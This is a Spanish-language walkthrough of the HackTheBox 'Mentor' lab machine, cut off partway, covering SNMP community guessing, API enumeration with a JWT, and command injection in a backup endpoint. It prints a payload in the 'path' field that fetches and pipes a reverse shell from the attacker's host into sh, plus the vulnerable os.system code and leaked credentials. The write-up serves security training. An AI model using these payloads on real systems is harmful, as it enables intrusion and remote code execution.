Contents

HackTheBox - Mentor

HackTheBox - Mentor

Informacion de la Maquina

Mentor expone el servicio snmp y una API la cual enumeramos, en esta ultima encontramos una vulnerabilidad de Command Injection la cual nos permitio acceder a un contenedor de docker. Una vez dentro, descubrimos credenciales en la base de datos postgres, con ello logramos acceder a un primer usuario por SSH. Accedimos a un segundo usuario con la configuracion del servicio snmp que, finalmente nos permitio escalar privilegios como root.

DificultadMEDIO
OSLinux
Fecha de Salida2022-12-10
First User Bloodirogir (1H 5M 6S)
First Root Bloodirogir (2H 1M 10S)
Rated Difficulty
Machine Matrix

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), ssh (22) y snmp (161 udp).

bash
 1# nmap -p$ports -sV -sC 10.10.11.193 -oN nmap_scan
 2Nmap scan report for 10.10.11.193 (10.10.11.193)
 3Host is up (0.083s latency).
 4
 5PORT   STATE SERVICE VERSION
 622/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
 7| ssh-hostkey:
 8|   256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
 9|_  256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
1080/tcp open  http    Apache httpd 2.4.52
11|_http-title: Did not follow redirect to http://mentorquotes.htb/
12|_http-server-header: Apache/2.4.52 (Ubuntu)
13Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
14
15Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
16
17#  nmap -sU -p- --min-rate 10000 10.10.11.193
18Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 15:30 CST
19Warning: 10.10.11.193 giving up on port because retransmission cap hit (10).
20Nmap scan report for mentorquotes.htb (10.10.11.193)
21Host is up (0.15s latency).
22Not shown: 65455 open|filtered udp ports (no-response), 79 closed udp ports (port-unreach)
23PORT    STATE SERVICE
24161/udp open  snmp
25
26Nmap done: 1 IP address (1 host up) scanned in 73.58 seconds

snmp

Ejecutamos sobre el puerto snmp el modulo auxiliar snmp_login de metasploit, con el objetivo de encontrar el ‘community’ de este servicio, utilizando un wordlist sugerido por este mismo modulo. Al finalizar la ejecucion se muestra que el community es internal.

bash
 1[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >> show options
 2
 3Module options (auxiliary/scanner/snmp/snmp_login):
 4
 5   Name              Current Setting                                                Required  Description
 6   ----              ---------------                                                --------  -----------
 7   BLANK_PASSWORDS   false                                                          no        Try blank passwords for all users
 8   BRUTEFORCE_SPEED  5                                                              yes       How fast to bruteforce, from 0 to 5
 9   DB_ALL_CREDS      false                                                          no        Try each user/password couple stored in the current database
10   DB_ALL_PASS       false                                                          no        Add all passwords in the current database to the list
11   DB_ALL_USERS      false                                                          no        Add all users in the current database to the list
12   DB_SKIP_EXISTING  none                                                           no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
13   PASSWORD                                                                         no        The password to test
14   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/snmp_default_p  no        File containing communities, one per line
15                     ass.txt
16   RHOSTS            10.10.11.193                                                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
17   RPORT             161                                                            yes       The target port
18   STOP_ON_SUCCESS   false                                                          yes       Stop guessing when a credential works for a host
19   THREADS           1                                                              yes       The number of concurrent threads (max one per host)
20   USER_AS_PASS      false                                                          no        Try the username as the password for all users
21   VERBOSE           true                                                           yes       Whether to print output for all attempts
22   VERSION           2c                                                             yes       The SNMP version to scan (Accepted: 1, 2c, all)
23
24[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >>
25[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >> run
26
27[!] No active DB -- Credential data will not be saved!
28[+] 10.10.11.193:161 - Login Successful: internal (Access level: read-only); Proof (sysDescr.0): Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
29[*] Scanned 1 of 1 hosts (100% complete)
30[*] Auxiliary module execution completed
31[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >>

Utilizamos snmp-check para enumerar la informacion del servicio.

  • El nombre de las interfaces sugieren docker en ejecucion, asi mismo los procesos.
  • Se muestra la ejecucion de uvicorn en ejecucion por el puerto 8000.
  • Observamos la ejecucion de un script en python el cual tiene algun tipo de secret o contraseña como argumento.
bash
1[.. snip ..]
2  2086                  runnable              postgres              postgres: postgres mentorquotes_db 172.22.0.1(41216) idle
3  2111                  runnable              login.py              /usr/bin/python3      /usr/local/bin/login.py kj23sadkj123as0-d213
4  2163                  unknown               kworker/1:1-cgroup_destroy
5  2304                  unknown               kworker/u256:0-flush-253:0
6[.. snip ..]
bash
  1➜  mentor snmp-check -v 2c -c internal 10.10.11.193
  2snmp-check v1.9 - SNMP enumerator
  3Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
  4
  5[+] Try to connect to 10.10.11.193:161 using SNMPv2c and community 'internal'
  6
  7[*] System information:
  8
  9  Host IP address               : 10.10.11.193
 10  Hostname                      : mentor
 11  Description                   : Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
 12  Contact                       : Me <admin@mentorquotes.htb>
 13  Location                      : Sitting on the Dock of the Bay
 14  Uptime snmp                   : 00:24:34.54
 15  Uptime system                 : 00:24:15.33
 16  System date                   : 2023-1-9 00:50:03.0
 17
 18[*] Network information:
 19
 20  IP forwarding enabled         : yes
 21  Default TTL                   : 64
 22  TCP segments received         : 2948
 23  TCP segments sent             : 2987
 24  TCP segments retrans          : 284
 25  Input datagrams               : 21674
 26  Delivered datagrams           : 12658
 27  Output datagrams              : 13646
 28
 29[*] Network interfaces:
 30
 31  Interface                     : [ up ] lo
 32  Id                            : 1
 33  Mac Address                   : :::::
 34  Type                          : softwareLoopback
 35  Speed                         : 10 Mbps
 36  MTU                           : 65536
 37  In octets                     : 71962
 38  Out octets                    : 71962
 39
 40[.. snip ..]
 41
 42  Interface                     : [ up ] docker0
 43  Id                            : 7
 44  Mac Address                   : 02:42:65:5c:81:8c
 45  Type                          : ethernet-csmacd
 46  Speed                         : 0 Mbps
 47  MTU                           : 1500
 48  In octets                     : 0
 49  Out octets                    : 0
 50
 51  Interface                     : [ up ] br-028c7a43f929
 52  Id                            : 8
 53  Mac Address                   : 02:42:b4:98:ef:68
 54  Type                          : ethernet-csmacd
 55  Speed                         : 0 Mbps
 56  MTU                           : 1500
 57  In octets                     : 0
 58  Out octets                    : 0
 59
 60  Interface                     : [ up ] veth6668ea8
 61  Id                            : 10
 62  Mac Address                   : 5a:de:19:b2:ab:c4
 63  Type                          : ethernet-csmacd
 64  Speed                         : 4294 Mbps
 65  MTU                           : 1500
 66  In octets                     : 59250
 67  Out octets                    : 72874
 68
 69  Interface                     : [ up ] veth1c20142
 70  Id                            : 12
 71  Mac Address                   : 12:8e:b3:50:4e:1a
 72  Type                          : ethernet-csmacd
 73  Speed                         : 4294 Mbps
 74  MTU                           : 1500
 75  In octets                     : 367042
 76  Out octets                    : 9335026
 77
 78  Interface                     : [ up ] vethf0772bf
 79  Id                            : 14
 80  Mac Address                   : ae:38:fd:4d:3e:8c
 81  Type                          : ethernet-csmacd
 82  Speed                         : 4294 Mbps
 83  MTU                           : 1500
 84  In octets                     : 0
 85  Out octets                    : 1160
 86
 87
 88[*] Network IP:
 89
 90  Id                    IP Address            Netmask               Broadcast
 91  2                     10.10.11.193          255.255.254.0         1
 92  1                     127.0.0.1             255.0.0.0             0
 93  7                     172.17.0.1            255.255.0.0           1
 94  6                     172.18.0.1            255.255.0.0           1
 95  3                     172.19.0.1            255.255.0.0           1
 96  8                     172.20.0.1            255.255.0.0           1
 97  4                     172.21.0.1            255.255.0.0           1
 98  5                     172.22.0.1            255.255.0.0           1
 99
100[*] Routing information:
101
102  Destination           Next hop              Mask                  Metric
103  0.0.0.0               10.10.10.2            0.0.0.0               1
104  10.10.10.0            0.0.0.0               255.255.254.0         0
105  172.17.0.0            0.0.0.0               255.255.0.0           0
106  172.18.0.0            0.0.0.0               255.255.0.0           0
107  172.19.0.0            0.0.0.0               255.255.0.0           0
108  172.20.0.0            0.0.0.0               255.255.0.0           0
109  172.21.0.0            0.0.0.0               255.255.0.0           0
110  172.22.0.0            0.0.0.0               255.255.0.0           0
111
112[*] TCP connections and listening ports:
113
114  Local address         Local port            Remote address        Remote port           State
115  0.0.0.0               22                    0.0.0.0               0                     listen
116  10.10.11.193          46808                 8.8.8.8               53                    synSent
117  127.0.0.1             45391                 0.0.0.0               0                     listen
118  127.0.0.53            53                    0.0.0.0               0                     listen
119  172.22.0.1            81                    0.0.0.0               0                     listen
120  172.22.0.1            5432                  0.0.0.0               0                     listen
121  172.22.0.1            5432                  172.22.0.3            33920                 established
122  172.22.0.1            5432                  172.22.0.3            33932                 established
123  172.22.0.1            8000                  0.0.0.0               0                     listen
124  172.22.0.1            36428                 172.22.0.1            8000                  closeWait
125  172.22.0.1            39784                 172.22.0.1            8000                  timeWait
126  172.22.0.1            41210                 172.22.0.4            5432                  established
127  172.22.0.1            41216                 172.22.0.4            5432                  established
128  172.22.0.1            53916                 172.22.0.1            8000                  closeWait
129  172.22.0.1            54528                 172.22.0.1            8000                  timeWait
130  172.22.0.1            56946                 172.22.0.1            8000                  timeWait
131
132[*] Listening UDP ports:
133
134  Local address         Local port
135  0.0.0.0               68
136  0.0.0.0               161
137  127.0.0.53            53
138
139[*] Processes:
140
141  Id                    Status                Name                  Path                  Parameters
142  1                     runnable              systemd               /sbin/init
143  2                     runnable              kthreadd
144  3                     unknown               rcu_gp
145  4                     unknown               rcu_par_gp
146  5                     unknown               netns
147  7                     unknown               kworker/0:0H-events_highpri
148  9                     unknown               kworker/0:1H-events_highpri
149[.. snip ..]
150  275                   unknown               cryptd
151  276                   unknown               scsi_tmf_31
152  296                   unknown               kworker/u256:25-flush-253:0
153  297                   unknown               kworker/u256:26-events_power_efficient
154  338                   runnable              scsi_eh_32
155  339                   unknown               scsi_tmf_32
156  362                   unknown               kdmflush
157  363                   unknown               kdmflush
158  395                   unknown               raid5wq
159  453                   runnable              jbd2/dm-0-8
160  454                   unknown               ext4-rsv-conver
161  515                   runnable              systemd-journal       /lib/systemd/systemd-journald
162  550                   unknown               kaluad
163  552                   unknown               kmpath_rdacd
164  553                   unknown               kmpathd
165  554                   unknown               kmpath_handlerd
166  555                   runnable              multipathd            /sbin/multipathd      -d -s
167  560                   runnable              systemd-udevd         /lib/systemd/systemd-udevd
168  589                   runnable              systemd-network       /lib/systemd/systemd-networkd
169  650                   unknown               nfit
170  748                   runnable              jbd2/sda2-8
171  749                   unknown               ext4-rsv-conver
172  765                   runnable              systemd-resolve       /lib/systemd/systemd-resolved
173  766                   runnable              systemd-timesyn       /lib/systemd/systemd-timesyncd
174  780                   runnable              VGAuthService         /usr/bin/VGAuthService
175  784                   runnable              vmtoolsd              /usr/bin/vmtoolsd
176  804                   runnable              dhclient              /sbin/dhclient        -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
177  901                   runnable              dbus-daemon           @dbus-daemon          --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
178  906                   runnable              irqbalance            /usr/sbin/irqbalance  --foreground
179  907                   runnable              networkd-dispat       /usr/bin/python3      /usr/bin/networkd-dispatcher --run-startup-triggers
180  908                   runnable              polkitd               /usr/libexec/polkitd  --no-debug
181  909                   runnable              rsyslogd              /usr/sbin/rsyslogd    -n -iNONE
182  910                   runnable              snapd                 /usr/lib/snapd/snapd
183  911                   runnable              systemd-logind        /lib/systemd/systemd-logind
184  912                   runnable              udisksd               /usr/libexec/udisks2/udisksd
185  934                   runnable              ModemManager          /usr/sbin/ModemManager
186  1037                  unknown               kworker/0:4-events
187  1218                  runnable              cron                  /usr/sbin/cron        -f -P
188  1220                  running               snmpd                 /usr/sbin/snmpd       -LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f
189  1239                  runnable              agetty                /sbin/agetty          -o -p -- \u --noclear tty1 linux
190  1252                  runnable              containerd            /usr/bin/containerd
191  1256                  runnable              sshd                  sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
192  1277                  runnable              apache2               /usr/sbin/apache2     -k start
193  1278                  runnable              apache2               /usr/sbin/apache2     -k start
194  1279                  runnable              apache2               /usr/sbin/apache2     -k start
195  1345                  runnable              dockerd               /usr/bin/dockerd      -H fd:// --containerd=/run/containerd/containerd.sock
196  1690                  runnable              login.sh              /bin/bash             /usr/local/bin/login.sh
197  1754                  runnable              docker-proxy          /usr/bin/docker-proxy  -proto tcp -host-ip 172.22.0.1 -host-port 5432 -container-ip 172.22.0.4 -container-port 5432
198  1768                  runnable              containerd-shim       /usr/bin/containerd-shim-runc-v2  -namespace moby -id 96e44c5692920491cdb954f3d352b3532a88425979cd48b3959b63bfec98a6f4 -address /run/containerd/containerd.sock
199  1790                  runnable              postgres              postgres
200  1870                  runnable              docker-proxy          /usr/bin/docker-proxy  -proto tcp -host-ip 172.22.0.1 -host-port 8000 -container-ip 172.22.0.3 -container-port 8000
201  1886                  runnable              containerd-shim       /usr/bin/containerd-shim-runc-v2  -namespace moby -id 3fae9c57b65874731f9524f5c897b652e33017540baaa48d1858add7cf8ecf05 -address /run/containerd/containerd.sock
202  1905                  runnable              python3               python3               -m uvicorn app.main:app --reload --workers 2 --host 0.0.0.0 --port 8000
203  1914                  runnable              postgres              postgres: checkpointer
204  1915                  runnable              postgres              postgres: background writer
205  1916                  runnable              postgres              postgres: walwriter
206  1917                  runnable              postgres              postgres: autovacuum launcher
207  1918                  runnable              postgres              postgres: stats collector
208  1919                  runnable              postgres              postgres: logical replication launcher
209  1979                  runnable              docker-proxy          /usr/bin/docker-proxy  -proto tcp -host-ip 172.22.0.1 -host-port 81 -container-ip 172.22.0.2 -container-port 80
210  1996                  runnable              containerd-shim       /usr/bin/containerd-shim-runc-v2  -namespace moby -id 0e6eebdd915c52e9bb583a0da3b64ccbe576567da478e5ada865de40e47b37e1 -address /run/containerd/containerd.sock
211  2017                  runnable              python                python                main.py
212  2034                  runnable              python3               /usr/local/bin/python3  -c from multiprocessing.semaphore_tracker import main;main(4)
213  2035                  runnable              python3               /usr/local/bin/python3  -c from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7) --multiprocessing-fork
214  2085                  runnable              postgres              postgres: postgres mentorquotes_db 172.22.0.1(41210) idle
215  2086                  runnable              postgres              postgres: postgres mentorquotes_db 172.22.0.1(41216) idle
216  2111                  runnable              login.py              /usr/bin/python3      /usr/local/bin/login.py kj23sadkj123as0-d213
217  2163                  unknown               kworker/1:1-cgroup_destroy
218  2304                  unknown               kworker/u256:0-flush-253:0
219  2351                  unknown               kworker/1:2-events
220  2431                  unknown               kworker/0:0-events
221  2447                  unknown               kworker/1:0-events
222  2452                  unknown               kworker/0:2-events
223
224[*] Storage information:
225
226  Description                   : ["Physical memory"]
227  Device id                     : [#<SNMP::Integer:0x00005563d1c5b9a0 @value=1>]
228  Filesystem type               : ["unknown"]
229  Device unit                   : [#<SNMP::Integer:0x00005563d1c59d30 @value=1024>]
230  Memory size                   : 3.80 GB
231  Memory used                   : 1.06 GB
232
233[.. snip ..]
234
235  Description                   : ["/run/snapd/ns"]
236  Device id                     : [#<SNMP::Integer:0x00005563d1ca9c68 @value=55>]
237  Filesystem type               : ["unknown"]
238  Device unit                   : [#<SNMP::Integer:0x00005563d1ca7eb8 @value=4096>]
239  Memory size                   : 388.98 MB
240  Memory used                   : 1.71 MB
241
242
243[*] File system information:
244
245  Index                         : noSuchInstance
246  Mount point                   : noSuchInstance
247  Access                        : noSuchInstance
248  Bootable                      : noSuchInstance
249
250[*] Device information:
251
252  Id                    Type                  Status                Descr
253  196608                unknown               running               GenuineIntel: Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz
254  196609                unknown               running               GenuineIntel: Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz
255  262145                unknown               running               network interface lo
256  262146                unknown               running               network interface eth0
257  262147                unknown               running               network interface br-24ddaa1f3b47
258  262148                unknown               running               network interface br-3d63c18e314d
259  262149                unknown               running               network interface br-7d5c72654da7
260  262150                unknown               running               network interface br-a8a89c3bf6ff
261  262151                unknown               running               network interface docker0
262  262152                unknown               running               network interface br-028c7a43f929
263  262154                unknown               running               network interface veth6668ea8
264  262156                unknown               running               network interface veth1c20142
265  262158                unknown               running               network interface vethf0772bf
266  786432                unknown               unknown               Guessing that there's a floating point co-processor
267
268[*] Software components:
269
270  Index                 Name
271  1                     adduser_3.118ubuntu5_all
272  2                     amd64-microcode_3.20191218.1ubuntu2_amd64
273  3                     apache2_2.4.52-1ubuntu4.2_amd64
274[.. snip ..]
275  715                   zstd_1.4.8+dfsg-3build1_amd64
276
277➜  mentor

Web Site

El sitio web redirige al dominio mentorquotes.htb.

bash
1➜  mentor curl -sI 10.10.11.193
2HTTP/1.1 302 Found
3Date: Sun, 08 Jan 2023 20:48:00 GMT
4Server: Apache/2.4.52 (Ubuntu)
5Location: http://mentorquotes.htb/
6Content-Type: text/html; charset=iso-8859-1
7
8➜  mentor

El sitio muestra una lista de frases.

image

Directory Brute Forcing

feroxbuster no muestra alguna otra direccion o directorio del sitio.

bash
 1➜  mentor feroxbuster -w $MD -u http://mentorquotes.htb/ --depth 2
 2
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.7.3
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ http://mentorquotes.htb/
 9 🚀  Threads               │ 50
10 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
11 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
12 💥  Timeout (secs)        │ 7
13 🦡  User-Agent            │ feroxbuster/2.7.3
14 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
15 🏁  HTTP methods          │ [GET]
16 🔃  Recursion Depth       │ 2
17 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
18───────────────────────────┴──────────────────────
19 🏁  Press [ENTER] to use the Scan Management Menu™
20──────────────────────────────────────────────────
21200      GET      167l      621w     5506c http://mentorquotes.htb/
22403      GET        9l       28w      281c http://mentorquotes.htb/server-status

api.mentorquotes.htb

Con la ejecucion de wfuzz descubrimos el subdominio api.

bash
 1➜  mentor wfuzz -c -w bitquark-subdomains-top100000.txt -u http://mentorquotes.htb -H "Host: FUZZ.mentorquotes.htb" --hl 9 2>/dev/null
 2********************************************************
 3* Wfuzz 3.1.0 - The Web Fuzzer                         *
 4********************************************************
 5
 6Target: http://mentorquotes.htb/
 7Total requests: 100000
 8
 9=====================================================================
10ID           Response   Lines    Word       Chars       Payload
11=====================================================================
12
13000000040:   404        0 L      2 W        22 Ch       "api"
14000037212:   400        10 L     35 W       308 Ch      "*"
15
16Total time: 976.1970
17Processed Requests: 100000
18Filtered Requests: 99998
19Requests/sec.: 102.4383

feroxbuster muestra distintas direcciones del sitio.

bash
 1➜  mentor feroxbuster -u http://api.mentorquotes.htb/ -w raft-medium-directories.txt --depth 2
 2
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.3.3
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ http://api.mentorquotes.htb/
 9 🚀  Threads               │ 50
10 📖  Wordlist              │ raft-medium-directories.txt
11 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
12 💥  Timeout (secs)        │ 7
13 🦡  User-Agent            │ feroxbuster/2.3.3
14 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
15 🔃  Recursion Depth       │ 2
16 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
17───────────────────────────┴──────────────────────
18 🏁  Press [ENTER] to use the Scan Cancel Menu™
19──────────────────────────────────────────────────
20307        0l        0w        0c http://api.mentorquotes.htb/admin
21200       31l       62w      969c http://api.mentorquotes.htb/docs
22405        1l        3w       31c http://api.mentorquotes.htb/admin/backup
23307        0l        0w        0c http://api.mentorquotes.htb/users
24307        0l        0w        0c http://api.mentorquotes.htb/quotes
25WLD        0l        0w        0c Got 307 for http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7 (url length: 32)
26WLD         -         -         - http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7 redirects to => http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7/
27405        1l        3w       31c http://api.mentorquotes.htb/users/add
28403        9l       28w      285c http://api.mentorquotes.htb/server-status

API

La direccion /docs nos muestra la documentacion de la API. Ademas se muestra el usuario james como email.

image

Auth as James

Utilizando la informacion encontrada intentamos logearnos.

image

La respuesta es una cookie.

image

API

Utilizando la cookie enumeramos las rutas, vemos en /users/ dos usuarios.

bash
 1➜  mentor curl -sX GET http://api.mentorquotes.htb/users/ -H "Accept: application/json" -H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0" | jq
 2[
 3  {
 4    "id": 1,
 5    "email": "james@mentorquotes.htb",
 6    "username": "james"
 7  },
 8  {
 9    "id": 2,
10    "email": "svc@mentorquotes.htb",
11    "username": "service_acc"
12  }
13]
14➜  mentor 

Observamos en la ruta /admin/, la ruta /check y /backup. En backup se muestra que el metodo no esta permitido.

bash
 1➜  mentor cookie="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"
 2➜  mentor curl -sX GET http://api.mentorquotes.htb/admin/ -H "Accept: application/json" -H "Authorization: $cookie" | jq
 3{
 4  "admin_funcs": {
 5    "check db connection": "/check",
 6    "backup the application": "/backup"
 7  }
 8}
 9➜  mentor curl -sX GET http://api.mentorquotes.htb/admin/check -H "Accept: application/json" -H "Authorization: $cookie" | jq
10{
11  "details": "Not implemented yet!"
12}
13➜  mentor curl -sX GET http://api.mentorquotes.htb/admin/backup -H "Accept: application/json" -H "Authorization: $cookie" | jq
14{
15  "detail": "Method Not Allowed"
16}
17➜  mentor 

Al intentar con el metodo POST muestra que el parametro body es requerido, al enviarlo, muestra que es necesario el path.

bash
 1➜  mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" | jq
 2{
 3  "detail": [
 4    {
 5      "loc": [
 6        "body"
 7      ],
 8      "msg": "field required",
 9      "type": "value_error.missing"
10    }
11  ]
12}
13➜  mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" -d '{"body":"616"}' | jq
14{
15  "detail": [
16    {
17      "loc": [
18        "body",
19        "path"
20      ],
21      "msg": "field required",
22      "type": "value_error.missing"
23    }
24  ]
25}
26➜  mentor 

root - Docker Container

Blind Command Injection

Al enviar los parametros requeridos muestra “Done”.

bash
1➜  mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" -d '{"body":"616", "path":"/etc/passwd"}' | jq
2{
3  "INFO": "Done!"
4}
5➜  mentor 

Intentamos realizar ‘bypass’ para ejecutar comandos, en este caso ejecutamos wget, se observa la solicitud realizada a nuestra maquina. Seguramente realiza algun tipo de backup a la direccion dada al archivo con nombre app_backkup.tar.

image

Shell

Ejecutamos shells y modificamos el valor de path para ejecutar una shell inversa.

bash
1{
2   "body":"616",
3   "path":"/etc/passwd;$(wget -qO- 10.10.14.207/10.10.14.207:1335|sh)"
4}

Tras realizar la solicitud logramos obtener acceso a la maquina como root. Anteriormente encontramos informacion sobre docker, seguramente obtuvimos acceso a un contenedor.

bash
 1➜  mentor rlwrap nc -lvp 1335
 2listening on [any] 1335 ...
 3connect to [10.10.14.207] from api.mentorquotes.htb [10.10.11.193] 43032
 4/bin/sh: can't access tty; job control turned off
 5/app # which python
 6/usr/local/bin/python
 7/app # python -c 'import pty;pty.spawn("/bin/bash");'
 8Traceback (most recent call last):
 9  File "<string>", line 1, in <module>
10  File "/usr/local/lib/python3.6/pty.py", line 156, in spawn
11    os.execlp(argv[0], *argv)
12  File "/usr/local/lib/python3.6/os.py", line 542, in execlp
13    execvp(file, args)
14  File "/usr/local/lib/python3.6/os.py", line 559, in execvp
15    _execvpe(file, args)
16  File "/usr/local/lib/python3.6/os.py", line 583, in _execvpe
17    exec_func(file, *argrest)
18FileNotFoundError: [Errno 2] No such file or directory
19/app # whoami;id;pwd
20root
21uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
22/app
23/app #

Encontramos los archivos de la API, entre ellos de la base de datos.

bash
 1/app # ls -lah
 2total 24K
 3drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 .
 4drwxr-xr-x    1 root     root        4.0K Mar  3 23:29 ..
 5-rw-r--r--    1 root     root        1.0K Jun 12  2022 .Dockerfile.swp
 6-rw-r--r--    1 root     root         522 Nov  3 12:58 Dockerfile
 7drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 app
 8-rw-r--r--    1 root     root         672 Jun  4  2022 requirements.txt
 9/app # cd app
10/app/app # ls -lah
11total 28K
12drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 .
13drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 ..
14-rw-r--r--    1 root     root           0 Jun  4  2022 __init__.py
15drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 __pycache__
16drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 api
17-rw-r--r--    1 root     root           0 Jun  4  2022 config.py
18-rw-r--r--    1 root     root        1001 Jun  7  2022 db.py
19-rw-r--r--    1 root     root        1.1K Jun  4  2022 main.py
20-rw-r--r--    1 root     root         704 Jun  4  2022 requirements.txt
21/app/app #
22/app/app # cat db.py
23import os
24
25from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
26from sqlalchemy.sql import func
27from databases import Database
28
29# Database url if none is passed the default one is used
30DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
31
32# SQLAlchemy for quotes
33engine = create_engine(DATABASE_URL)
34metadata = MetaData()
35quotes = Table(
36    "quotes",
37    metadata,
38    Column("id", Integer, primary_key=True),
39    Column("title", String(50)),
40    Column("description", String(50)),
41    Column("created_date", DateTime, default=func.now(), nullable=False)
42)
43
44# SQLAlchemy for users
45engine = create_engine(DATABASE_URL)
46metadata = MetaData()
47users = Table(
48    "users",
49    metadata,
50    Column("id", Integer, primary_key=True),
51    Column("email", String(50)),
52    Column("username", String(50)),
53    Column("password", String(128) ,nullable=False)
54)
55
56
57# Databases query builder
58database = Database(DATABASE_URL)
59
60/app/app #

En admin.py se muestra una segunda direccion de base de datos donde vemos la direccion de backup por la cual obtuvimos acceso.

bash
 1/app/app/api # cat admin.py
 2from fastapi import APIRouter, Depends
 3from app.api.utils import is_admin, is_logged
 4from app.api.models import backup
 5import os
 6
 7router = APIRouter()
 8
 9WORK_DIR = os.getenv('WORK_DIR', '/app')
10DATABASE_URL = os.getenv('DATABASE_URL', 'postgresql://postgres:postgres@192.168.1.4/hello_fastapi_dev')
11
12@router.get('/', dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
13async def admin_funcs():
14    return {"admin_funcs":{"check db connection":"/check","backup the application": "/backup"}}
15
16@router.get('/check',dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
17async def check_connection():
18    return {"details": "Not implemented yet!"}
19
20
21# Take a backup of the application
22@router.post("/backup",dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
23async def backup(payload: backup):
24    os.system(f'tar -c -f {str(payload.path)}/app_backkup.tar {str(WORK_DIR)} &')
25    return {"INFO": "Done!"}
26
27/app/app/api #

En users.py las rutas para obtener informacion de los usuarios.

python
 1from app.api import crud
 2from app.api.models import token, userDB, userSchema
 3from app.api.utils import is_admin, is_logged, is_a_user
 4from .utils import *
 5from fastapi import APIRouter, HTTPException, Header, Path, FastAPI, Depends, Request
 6from typing import List
 7import os
 8
 9router = APIRouter()
10SECRET =  os.getenv('SECRET')
11
12# List users
13@router.get('/',response_model=List[userDB], status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
14async def get_users(request: Request):
15
16    return await crud.get_users()
17
18# List user by id
19@router.get('/{id}/',response_model=userDB, status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
20async def get_user_by_id(request: Request,id: int = Path(...,gt=0)):
21    user = await crud.get_user(id)
22    if not user:
23        raise HTTPException(status_code=404, detail="user not found")
24    return user
25
26# Add a new user
27@router.post("/add", response_model=userDB, status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
28async def create_user(payload: userSchema):
29    user = await is_a_user(payload)
30    if user is None:
31        pass
32    else:
